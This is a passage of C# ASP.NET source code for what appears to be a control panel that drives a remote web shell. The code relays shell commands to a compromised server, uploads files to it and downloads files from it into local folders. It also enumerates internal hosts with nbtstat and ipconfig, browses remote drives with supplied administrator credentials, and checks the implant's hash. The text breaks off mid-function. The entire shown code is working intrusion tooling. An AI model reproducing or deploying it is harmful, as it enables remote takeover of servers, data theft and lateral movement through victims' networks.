    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n<%@ Import Namespace=\"System.IO\" %>\r\n<%@ Import Namespace=\"System.Net\" %>\r\n<%@ Import Namespace=\"System.Net.Security\" %>\r\n<%@ Import Namespace=\"System.Net.Mime\" %>\r\n<%@ Import Namespace=\"System.Threading\" %>\r\n<%@ Import Namespace=\"Newtonsoft.Json\" %>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<link href=\"js/semantic/semantic.min.css\" rel=\"stylesheet\" />\r\n<link href=\"css/main.css\" rel=\"stylesheet\" />\r\n<link href=\"js/DataTables-1.10.16/css/jquery.dataTables.min.css\" rel=\"stylesheet\" />\r\n<link href=\"js/components/downloadbox.css\" rel=\"stylesheet\" />\r\n<link href=\"js/components/networkdownloader.css\" rel=\"stylesheet\" />\r\n    <%\r\n        try\r\n        {\r\n            //InitiateSSLTrust();\r\n            Session.Timeout = 100; // 100 minute\r\n\r\n            NameValueCollection t = HttpContext.Current.Request.Form;\r\n            method selectedMethod = method.auth;\r\n\r\n            if (!string.IsNullOrEmpty(t[\"isajax\"]))\r\n                isAjax = true;\r\n\r\n            string methodStr = unpack(t[\"m\"]);\r\n            if (!string.IsNullOrEmpty(methodStr))\r\n            {\r\n                int methodID = int.Parse(methodStr);\r\n                selectedMethod = (method)methodID;\r\n\r\n                url = unpack(t[\"url\"]);\r\n\r\n                if (string.IsNullOrEmpty(url))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"url\"] != null)\r\n                        url = fb(HttpContext.Current.Request.Cookies[\"url\"].Value);\r\n                }\r\n\r\n                string[] urlp = url.Split(';');\r\n                if (urlp.Length > 1)\r\n                {\r\n                    //url = urlp[0];\r\n                    p = urlp[1];\r\n                }\r\n\r\n                if (string.IsNullOrEmpty(p))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"p\"] != null)\r\n                        p = fb(HttpContext.Current.Request.Cookies[\"p\"].Value);\r\n                }\r\n\r\n                if (HttpContext.Current.Request.Cookies[\"loginStyle\"] != null)\r\n                    loginStyle = fb(HttpContext.Current.Request.Cookies[\"loginStyle\"].Value);\r\n\r\n                switch (selectedMethod)\r\n                {\r\n                    case method.auth:\r\n                        auth();\r\n                        break;\r\n                    case method.localExplore:\r\n                        SpecialScript = \"$('#btnExpror').click();\";\r\n                        SpecialScript = @\"\r\nopenTab(document.getElementById('tabExp'), 'tbDir');\r\ndocument.getElementsByName('exadd')[0].value = '\" + unpack(t[\"exadd\"]).Replace(\"\\\\\", \"\\\\\\\\\") + @\"';\r\n$('#btnExpror').click();\";\r\n                        break;\r\n                    case method.command:\r\n                        command(unpack(t[\"cmd\"]));\r\n                        break;\r\n                    case method.downloadTest:\r\n                        downloadTest(t);\r\n                        break;\r\n                    case method.download:\r\n                        Thread thr = new Thread(() => download(unpack(t[\"don\"]), unpack(t[\"isdelete\"]), unpack(t[\"localPath\"]), unpack(t[\"downloadguid\"])));\r\n                        thr.Start();\r\n                        break;\r\n                    case method.checkDownloadProgress:\r\n                        checkDownloadProgress(unpack(t[\"downloadguid\"]), unpack(t[\"lastsize\"]), unpack(t[\"lasttime\"]));\r\n                        break;\r\n                    case method.upload:\r\n                        upload(HttpContext.Current.Request.Files[\"uploadFile\"], t[\"uploadPath\"], t[\"isExp\"]);\r\n                        break;\r\n                    case method.checkModules:\r\n                        checkModules();\r\n                        break;\r\n                    case method.installModule:\r\n                        installModule(unpack(t[\"mname\"]));\r\n                        break;\r\n                    case method.uninstallModule:\r\n                        uninstallModule(unpack(t[\"mname\"]));\r\n                        break;\r\n                    case method.cmd7z:\r\n                        cmd7z(unpack(t[\"7zclevel\"]), unpack(t[\"7zaddress\"]), unpack(t[\"7zfiles\"]), unpack(t[\"7zvsize\"]), unpack(t[\"7zvmode\"]), unpack(t[\"7zexclude\"]));\r\n                        break;\r\n                    case method.spycheck:\r\n                        spycheck(unpack(t[\"loc\"]));\r\n                        break;\r\n                    case method.getIPFromNbt:\r\n                        getIPFromNbt(unpack(t[\"mode\"]), unpack(t[\"input\"]));\r\n                        break;\r\n                    case method.GetLogicDrives:\r\n                        GetLogicDrives(unpack(t[\"exadd\"]), unpack(t[\"adminU\"]), unpack(t[\"adminP\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderCheck:\r\n                        NetworkDownloaderCheck(unpack(t[\"cn\"]), unpack(t[\"ip\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderLog:\r\n                        NetworkDownloaderLog(unpack(t[\"cn\"]), unpack(t[\"log\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderError:\r\n                        NetworkDownloaderError(unpack(t[\"cn\"]), unpack(t[\"error\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderDone:\r\n                        NetworkDownloaderDone(unpack(t[\"cn\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderDir:\r\n                        NetworkDownloaderDir(unpack(t[\"cn\"]), unpack(t[\"filename\"]), unpack(t[\"text\"]), unpack(t[\"isappend\"]));\r\n                        break;\r\n                    case method.SaveLog:\r\n                        SaveLog(unpack(t[\"path\"]), unpack(t[\"filename\"]), unpack(t[\"content\"]));\r\n                        break;\r\n                    default:\r\n                        proxy(t);\r\n                        break;\r\n                }\r\n            }\r\n            //else\r\n            //    auth();\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            response(\"Error : \" + ex.Message);\r\n        }\r\n    %>\r\n    <script runat=\"server\">\r\n        enum method\r\n        {\r\n            auth = 0,\r\n            command = 1,\r\n            upload = 2,\r\n            uploadbase64 = 3,\r\n            delete = 4,\r\n            download = 5,\r\n            changeTime = 6,\r\n            sqlQuery = 7,\r\n            explorer = 8,\r\n            getsize = 9,\r\n            getlocation = 10,\r\n            rename = 11,\r\n            copy = 12,\r\n            view = 13,\r\n            commandAjax = 14,\r\n            downloadTest = 15,\r\n            checkModules = 16,\r\n            installModule = 17,\r\n            uninstallModule = 18,\r\n            cmd7z = 19,\r\n            authAjax = 20,\r\n            getlocationAjax = 21,\r\n            spycheck = 22,\r\n            localExplore = 23,\r\n            checkDownloadProgress = 25,\r\n            getIPFromNbt = 26,\r\n            GetLogicDrives = 27,\r\n            NetworkDownloaderCheck = 28,\r\n            NetworkDownloaderLog = 29,\r\n            NetworkDownloaderError = 30,\r\n            NetworkDownloaderDone = 31,\r\n            NetworkDownloaderDir = 32,\r\n            SaveLog = 33\r\n\r\n        };\r\n        string url, p, pro, cmd, sav, vir, nen, upb, upd, del, don, hid, tfil, ttar, ttim, baseFile, baseAddr, baseVir, baseName, sqc, sqq, exadd, adminU, adminP, cmdB, loc;\r\n        string SpecialScript, loginStyle;\r\n        string BaseAddress = @\"C:\\Users\\Public\\Libraries\\\";\r\n        string DownloadLocation = @\"C:\\Users\\Public\\Libraries\\DownloadFiles\\\";\r\n        string SpyCheckLocation = @\"C:\\Users\\Public\\Libraries\\SpyCheck\\\";\r\n        string LocationNetworkDownloader = @\"C:\\Users\\Public\\Libraries\\NetworkDownloader\\\";\r\n\r\n        //string DownloadTemp = @\"C:\\Users\\Public\\Libraries\\DownloadTemp\\\";\r\n        bool isAjax = false;\r\n        string tb(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Convert.ToBase64String(Encoding.UTF8.GetBytes(a)); } catch { } return ret; }\r\n        string fb(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Encoding.UTF8.GetString(Convert.FromBase64String(a)); } catch { } return ret; }\r\n        void proxy(NameValueCollection t)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = SendRequest(url, t);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void SaveLog(string path, string filename, string content)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                File.AppendAllText(CheckDirectory(url, BaseAddress + path + \"\\\\\") + filename, content);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        string unpack(string data) { return isAjax ? fb(data) : data; }\r\n        void GetLogicDrives(string address, string adminU, string adminP)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                //if (address.ToLower().Contains(\"\\\\\\\\localhost\"))\r\n                ret = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.explorer).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"exadd\", tb(address)},\r\n                    { \"adminU\", tb(adminU)},\r\n                    { \"adminP\", tb(adminP)}\r\n                });\r\n                //else\r\n                //{\r\n\r\n                //}\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderCheck(string computerName, string ip)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = \"ok\";\r\n                if (Directory.Exists(LocationNetworkDownloader))\r\n                {\r\n                    if (string.IsNullOrEmpty(computerName))\r\n                    {\r\n                        //-+\\s+(\\S+)\r\n                        //nbtstat -a 192.168.100.16\r\n\r\n                        string nbtstat = SendRequest(url, new NameValueCollection() {\r\n                            { \"m\", tb(((int)method.command).ToString())},\r\n                            { \"p\", tb(p)},\r\n                            { \"cmd\", tb(string.Format(\"nbtstat -a {0}\",ip))}\r\n                        });\r\n\r\n                        if (nbtstat.Contains(\"Host not found\"))\r\n                        {\r\n                            ret = \"Error : Cannot find computer name from IP Address (Host not found)\";\r\n                        }\r\n                        else\r\n                        {\r\n                            Regex reg = new Regex(@\"-+\\s+(\\S+)\");\r\n                            MatchCollection regResult = reg.Matches(nbtstat);\r\n                            if (regResult.Count > 0)\r\n                            {\r\n                                computerName = regResult[0].Groups[1].Value;\r\n                            }\r\n                            else\r\n                            {\r\n                                ret = \"Error : Cannot find computer name from IP Address (\" + nbtstat + \")\";\r\n                            }\r\n                        }\r\n                    }\r\n\r\n                    if (!string.IsNullOrEmpty(computerName))\r\n                    {\r\n\r\n                        string targetPathIP = CheckDirectory(url, LocationNetworkDownloader) + ip.TrimStart('\\\\') + \"\\\\\";\r\n                        string targetPathCN = CheckDirectory(url, LocationNetworkDownloader) + computerName + \"\\\\\";\r\n                        if (Directory.Exists(targetPathCN))\r\n                        {\r\n                            if (Directory.Exists(targetPathIP))\r\n                                Directory.Move(targetPathIP, targetPathCN + ip.TrimStart('\\\\'));\r\n                        }\r\n                        else if (Directory.Exists(targetPathIP))\r\n                            Directory.Move(targetPathIP, targetPathCN);\r\n                        else\r\n                            Directory.CreateDirectory(targetPathCN);\r\n\r\n                        if (File.Exists(targetPathCN + \"address.txt\"))\r\n                            ret = File.ReadAllText(targetPathCN + \"address.txt\");\r\n\r\n                        //if (File.Exists(targetPathCN + \"done.txt\"))\r\n                        //    ret = \"done|\" + File.ReadAllText(targetPathCN + \"done.txt\");\r\n                        //else if (File.Exists(targetPathCN + \"error.txt\"))\r\n                        //    ret = \"error|\" + File.ReadAllText(targetPathCN + \"error.txt\");\r\n\r\n                        File.AppendAllText(targetPathCN + \"ip.txt\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\") + \" : \" + ip + Environment.NewLine);\r\n                    }\r\n                    else\r\n                        ret = \"cnerror|cannot get the computer name\";\r\n                }\r\n                else\r\n                    Directory.CreateDirectory(LocationNetworkDownloader);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderLog(string cn, string log)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"log.txt\", string.Format(\"---------------------------------------------------------------------\\r\\n[{0}]\\r\\n{1}\\r\\n\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\"), log));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderError(string cn, string error)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"error.txt\", string.Format(\"---------------------------------------------------------------------\\r\\n[{0}]\\r\\n{1}\\r\\n\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\"), error));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderDone(string cn)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"done.txt\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\") + Environment.NewLine);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderDir(string cn, string filename, string text, string isappend)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                if (isappend.ToLower() == \"true\")\r\n                    File.AppendAllText(targetPath + filename + \".txt\", text);\r\n                else\r\n                    File.WriteAllText(targetPath + filename + \".txt\", text);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void upload(HttpPostedFile uploadFile, string uploadPath, string isExp)\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                if (uploadFile != null && uploadFile.ContentLength > 0)\r\n                {\r\n                    ret = SendFile(uploadFile, uploadPath);\r\n                    if (!string.IsNullOrEmpty(isExp))\r\n                    {\r\n                        SpecialScript = @\"\r\nopenTab(document.getElementById('tabExp'), 'tbDir');\r\ndocument.getElementsByName('exadd')[0].value = '\" + uploadPath.Replace(\"\\\\\", \"\\\\\\\\\") + @\"';\r\ndocument.getElementById('btnExpror').click();\";\r\n                    }\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            response(ret);\r\n        }\r\n        public string UploadFile(Stream fStream, string fileName, string dataName, List<KeyValuePair<string, string>> formData)\r\n        {\r\n            HttpWebRequest requestToServerEndpoint = (HttpWebRequest)WebRequest.Create(url);\r\n            string boundaryString = \"----sdfERASDGsdf342GA\";\r\n\r\n            requestToServerEndpoint.Method = WebRequestMethods.Http.Post;\r\n            requestToServerEndpoint.ContentType = \"multipart/form-data; boundary=\" + boundaryString;\r\n            requestToServerEndpoint.KeepAlive = true;\r\n            requestToServerEndpoint.Credentials = System.Net.CredentialCache.DefaultCredentials;\r\n\r\n            MemoryStream postDataStream = new MemoryStream();\r\n            StreamWriter postDataWriter = new StreamWriter(postDataStream);\r\n\r\n            foreach (var item in formData)\r\n            {\r\n                postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"\\r\\n\");\r\n                postDataWriter.Write(\"Content-Disposition: form-data; name=\\\"{0}\\\"\\r\\n\\r\\n{1}\",\r\n                item.Key,\r\n                tb(item.Value));\r\n            }\r\n\r\n            postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"\\r\\n\");\r\n            postDataWriter.Write(\"Content-Disposition: form-data;\"\r\n            + \"name=\\\"{0}\\\";\"\r\n            + \"filename=\\\"{1}\\\"\"\r\n            + \"\\r\\nContent-Type: multipart/form-data\\r\\n\\r\\n\",\r\n            dataName,\r\n            fileName);\r\n            postDataWriter.Flush();\r\n\r\n            Stream fileStream = fStream;\r\n            byte[] buffer = new byte[1024];\r\n            int bytesRead = 0;\r\n            while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) != 0)\r\n            {\r\n                postDataStream.Write(buffer, 0, bytesRead);\r\n            }\r\n            fileStream.Close();\r\n\r\n            postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"--\\r\\n\");\r\n            postDataWriter.Flush();\r\n\r\n            requestToServerEndpoint.ContentLength = postDataStream.Length;\r\n\r\n            using (Stream s = requestToServerEndpoint.GetRequestStream())\r\n            {\r\n                postDataStream.WriteTo(s);\r\n            }\r\n            postDataStream.Close();\r\n\r\n            WebResponse response = requestToServerEndpoint.GetResponse();\r\n            StreamReader responseReader = new StreamReader(response.GetResponseStream());\r\n            string replyFromServer = responseReader.ReadToEnd();\r\n\r\n            return fb(replyFromServer);\r\n        }\r\n        public string SendFile(HttpPostedFile uploadFile, string uploadPath)\r\n        {\r\n            List<KeyValuePair<string, string>> formData = new List<KeyValuePair<string, string>>();\r\n            formData.Add(new KeyValuePair<string, string>(\"uploadPath\", uploadPath));\r\n            formData.Add(new KeyValuePair<string, string>(\"m\", ((int)method.upload).ToString()));\r\n            formData.Add(new KeyValuePair<string, string>(\"p\", p));\r\n\r\n            return UploadFile(uploadFile.InputStream, uploadFile.FileName, \"uploadFile\", formData);\r\n        }\r\n        void auth()\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                if (string.IsNullOrEmpty(p))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"p\"] != null)\r\n                        p = fb(HttpContext.Current.Request.Cookies[\"p\"].Value);\r\n                }\r\n                else\r\n                {\r\n                    HttpCookie coo = new HttpCookie(\"p\", tb(p));\r\n                    coo.Expires = DateTime.Now.AddDays(1);\r\n                    HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n\r\n                if (string.IsNullOrEmpty(url))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"url\"] != null)\r\n                        url = fb(HttpContext.Current.Request.Cookies[\"url\"].Value);\r\n                }\r\n                else\r\n                {\r\n                    HttpCookie coo = new HttpCookie(\"url\", tb(url));\r\n                    coo.Expires = DateTime.Now.AddDays(1);\r\n                    HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n\r\n                if (!string.IsNullOrEmpty(p) && !string.IsNullOrEmpty(url))\r\n                {\r\n\r\n                    SpecialScript = \"$('#btnLogin').click();\";\r\n\r\n                    //string HtmlResult = SendRequest(url, new NameValueCollection() {\r\n                    //        { \"m\", ((int)method.auth).ToString()},\r\n                    //        { \"p\", p}\r\n                    //    });\r\n\r\n                    //if (HtmlResult == \"True\")\r\n                    //{\r\n                    //    ret = \"Login successful\" + Environment.NewLine;\r\n                    //    loginStyle = \"login\";\r\n                    //    getLoc();\r\n                    //    SpecialScript = \"document.getElementById('chkModules').click();\";\r\n                    //}\r\n                    //else\r\n                    //{\r\n                    //    ret = \"Login failed\" + Environment.NewLine;\r\n                    //    loginStyle = \"logout\";\r\n                    //}\r\n\r\n                    //HttpCookie coo = new HttpCookie(\"loginStyle\", tb(loginStyle));\r\n                    //coo.Expires = DateTime.Now.AddDays(1);\r\n                    //HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n\r\n            response(ret);\r\n        }\r\n        void response(string res)\r\n        {\r\n            log.InnerHtml = res;\r\n        }\r\n        void responseAjax(string res)\r\n        {\r\n            Response.Clear();\r\n            Response.Write(tb(res));\r\n            Response.Flush();\r\n            Response.SuppressContent = true;\r\n            ApplicationInstance.CompleteRequest();\r\n        }\r\n        void getLoc()\r\n        {\r\n            loc = SendRequest(url, new NameValueCollection() {\r\n                { \"m\", ((int)method.getlocation).ToString()},\r\n                { \"p\", p}\r\n            });\r\n        }\r\n        void spycheck(string location)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string[] parts1 = url.Split('/');\r\n                string filename = location + parts1[parts1.Length - 1].Split('?')[0];\r\n                if (!filename.EndsWith(\".aspx\"))\r\n                    filename += \".aspx\";\r\n                string filetext = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"type \\\"{0}\\\"\",filename))}\r\n                });\r\n                filetext = filetext.Remove(0, filetext.IndexOf(Environment.NewLine) + 2);\r\n                filetext = filetext.Remove(0, filetext.IndexOf(Environment.NewLine) + 2);\r\n                filetext = filetext.Substring(filetext.IndexOf(\"&lt;%@\"));\r\n                byte[] fbytes = Encoding.UTF8.GetBytes(filetext);\r\n                string fHash = Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(fbytes));\r\n                if (\"glKTujigkYNjmgX5JQ1skDD7vO8ozqRMEQYChwrMznA=\" == fHash)\r\n                    ret = \"True\";\r\n                else\r\n                {\r\n                    ret = \"False\";\r\n\r\n                    Uri myUri = new Uri(url);\r\n                    string host = myUri.Host;\r\n\r\n                    string path = SpyCheckLocation + host + \"\\\\\";\r\n\r\n                    if (!Directory.Exists(path))\r\n                        Directory.CreateDirectory(path);\r\n\r\n                    File.WriteAllText(path + Path.GetFileNameWithoutExtension(myUri.AbsolutePath) + \"_\" + DateTime.Now.ToString(\"yyyy-MM-dd-HH-mm-ss\") + Path.GetExtension(myUri.AbsolutePath), HttpUtility.HtmlDecode(filetext));\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void command(string cmd)\r\n        {\r\n            SpecialScript = @\"\r\n$('#inpCmd').val(b64DecodeUnicode('\" + tb(cmd) + @\"'));\r\ncommand($('#inpCmd').get(0));\";\r\n        }\r\n        private string CheckDirectory(string url, string dirPath)\r\n        {\r\n            string newPath = string.Empty;\r\n\r\n            if (!dirPath.EndsWith(\"\\\\\"))\r\n                dirPath += \"\\\\\";\r\n\r\n            Uri myUri = new Uri(url);\r\n            string host = myUri.Host;\r\n\r\n            newPath = dirPath + host + \"\\\\\";\r\n\r\n            if (!Directory.Exists(newPath))\r\n                Directory.CreateDirectory(newPath);\r\n\r\n            //if (!Directory.Exists(DownloadTemp))\r\n            //    Directory.CreateDirectory(DownloadTemp);\r\n\r\n            return newPath;\r\n        }\r\n        class NbtComputer\r\n        {\r\n            public string IP { get; set; }\r\n            public string Domain { get; set; }\r\n            public string ComputerName { get; set; }\r\n            public List<string> Props { get; set; }\r\n            public string Mac { get; set; }\r\n            public string FullDomain { get; set; }\r\n        }\r\n        class NbtResult\r\n        {\r\n            public string Log { get; set; }\r\n            public List<NbtComputer> NbtComputers { get; set; }\r\n        }\r\n        private void getIPFromNbt(string mode, string input)\r\n        {\r\n            NbtResult nbtresult = new NbtResult();\r\n            nbtresult.NbtComputers = new List<NbtComputer>();\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                List<string> IPs = new List<string>();\r\n\r\n                if (mode == \"ipconfig\")\r\n                {\r\n                    string ipconfig = SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(string.Format(\"ipconfig /all 2>&1\"))}\r\n                    });\r\n\r\n                    Regex rxIPconfig = new Regex(@\"(IPv4 Address)[\\.\\s]+:\\s(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\");\r\n                    foreach (Match match in rxIPconfig.Matches(ipconfig))\r\n                    {\r\n                        IPs.Add(match.Groups[2].Value + \"/24\");\r\n                    }\r\n\r\n                    //nbtresult.Log = \"IPs that gatter from ipconfig /all :\" + Environment.NewLine;\r\n                }\r\n                else\r\n                {\r\n                    string[] tempSplit = input.Split(',');\r\n                    foreach (string item in tempSplit)\r\n                    {\r\n                        IPs.Add(item);\r\n                    }\r\n                }\r\n\r\n                //foreach (string ip in IPs)\r\n                //{\r\n                //    nbtresult.Log += ip + Environment.NewLine;\r\n                //}\r\n                //nbtresult.Log += Environment.NewLine + \"try nbt on this IPs :\" + Environment.NewLine;\r\n\r\n                foreach (string ip in IPs)\r\n                {\r\n                    int count = 0;\r\n                    string nbtResult = SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(string.Format(@\"{0} -f {1} 2>&1\", moduleFolder + ModuleFileNameTarget[ModuleName.mdlnbt.ToString()].Value,ip))}\r\n                    });\r\n\r\n                    Regex rxNbtResult = new Regex(@\"(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\s+(\\S*)(\\s+\\w+)+\\r\\n(\\s+\\S+\\s+\\S+\\s+\\w+\\s+[\\w|\\s]+\\r\\n)+\\s+(\\w{2}:\\w{2}:\\w{2}:\\w{2}:\\w{2}:\\w{2})\\s+\\w+\\s+(\\S+)\\r\\n\");\r\n                    foreach (Match item in rxNbtResult.Matches(nbtResult))\r\n                    {\r\n                        count++;\r\n                        NbtComputer nc = new NbtComputer();\r\n                        nc.IP = item.Groups[1].Value;\r\n                        nc.Domain = item.Groups[2].Value.Split('\\\\')[0];\r\n                        nc.ComputerName = item.Groups[2].Value.Split('\\\\')[1];\r\n                        nc.Props = new List<string>();\r\n                        foreach (Capture c in item.Groups[3].Captures)\r\n                        {\r\n                            nc.Props.Add(c.Value.Trim());\r\n                        }\r\n                        nc.Mac = item.Groups[5].Value;\r\n                        nc.FullDomain = item.Groups[6].Value;\r\n\r\n                        nbtresult.NbtComputers.Add(nc);\r\n                    }\r\n                    nbtresult.Log += ip + \" -> \" + count;\r\n                }\r\n\r\n                ret = JsonConvert.SerializeObject(nbtresult);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        enum DownloadStatus\r\n        {\r\n            Requested,\r\n            Downloading,\r\n            Pause,\r\n            Error,\r\n            Complete\r\n        }\r\n        private void DownloadUpdateStatus(string localPath, string downloadguid, DownloadStatus status, DateTime startDate, long totalsize, long downloadedsize)\r\n        {\r\n            //string text = string.Format(\"{0}{1}{2}{3}\",\r\n            //        status.ToString() + Environment.NewLine,\r\n            //        startDate.ToString(\"yyyy-MM-dd HH:mm:ss.fff\") + Environment.NewLine,\r\n            //        totalsize.ToString() + Environment.NewLine,\r\n            //        downloadedsize.ToString() + Environment.NewLine\r\n            //        );\r\n\r\n            NameValueCollection data = new NameValueCollection() {\r\n                { \"status\", status.ToString()},\r\n                { \"startdate\", startDate.ToString(\"yyyy-MM-dd HH:mm:ss.fff\")},\r\n                { \"totalsize\", totalsize.ToString()},\r\n                { \"downloadedsize\", downloadedsize.ToString()}\r\n            };\r\n\r\n            Session[downloadguid] = data;\r\n\r\n            //File.AppendAllText(DownloadTemp + Path.GetFileName(localPath), text);\r\n\r\n            //using(TextWriter txtWriter = new StreamWriter(File.Open(DownloadTemp + Path.GetFileName(localPath), FileMode.Truncate)))\r\n            //{\r\n            //    txtWriter.Write(text);\r\n            //}\r\n\r\n            //using (TextWriter fs = new FileStream(DownloadTemp + Path.GetFileName(localPath), FileMode.Open, FileAccess.Write, FileShare.ReadWrite))\r\n            //{\r\n            //    using (var sr = new StreamWriter(fs, Encoding.Default))\r\n            //    {\r\n            //        // read the stream\r\n            //        //...\r\n            //    }\r\n            //}\r\n\r\n        }\r\n        private string DownLoadFileByWebRequest(string urlAddress, string localPath, string downloadguid, NameValueCollection postParam)\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                DateTime StartDate = DateTime.Now;\r\n                HttpWebRequest request = null;\r\n                HttpWebResponse response = null;\r\n                request = (HttpWebRequest)HttpWebRequest.Create(urlAddress);\r\n                request.Timeout = 30000;  //8000 Not work\r\n                request.Method = \"POST\";\r\n                StringBuilder postBuilder = new StringBuilder();\r\n                for (int i = 0; i < postParam.Count; i++)\r\n                {\r\n                    postBuilder.AppendFormat(\"{0}={1}\", Uri.EscapeDataString(postParam.GetKey(i)), Uri.EscapeDataString(tb(postParam.Get(i))));\r\n                    if (i < postParam.Count - 1)\r\n                    {\r\n                        postBuilder.Append(\"&\");\r\n                    }\r\n                }\r\n                byte[] postBytes = Encoding.ASCII.GetBytes(postBuilder.ToString());\r\n                request.ContentLength = postBytes.Length;\r\n                request.ContentType = \"application/x-www-form-urlencoded\";\r\n                var stream = request.GetRequestStream();\r\n                stream.Write(postBytes, 0, postBytes.Length);\r\n                stream.Close();\r\n                stream.Dispose();\r\n\r\n                response = (HttpWebResponse)request.GetResponse();\r\n                ContentDisposition disposition = new ContentDisposition(response.Headers[\"content-disposition\"]);\r\n                long fileSize = disposition.Size;\r\n                Stream s = response.GetResponseStream();\r\n\r\n                FileStream os = new FileStream(localPath, FileMode.OpenOrCreate, FileAccess.Write);\r\n                byte[] buff = new byte[8 * 1024];\r\n                int c = 0;\r\n                long totalGet = 0;\r\n                //long lastUpdateSize = 0;\r\n                //DateTime lastUpdateTime = StartDate;\r\n                while ((c = s.Read(buff, 0, buff.Length)) > 0)\r\n                {\r\n                    totalGet += c;\r\n\r\n                    os.Write(buff, 0, c);\r\n                    os.Flush();\r\n                    //DateTime saveTime = DateTime.Now;\r\n                    //DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Downloading, StartDate, lastUpdateTime, saveTime, fileSize, totalGet, lastUpdateSize);\r\n                    DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Downloading, StartDate, fileSize, totalGet);\r\n                    //if (totalGet < fileSize)\r\n                    //{\r\n                    //    lastUpdateSize = totalGet;\r\n                    //    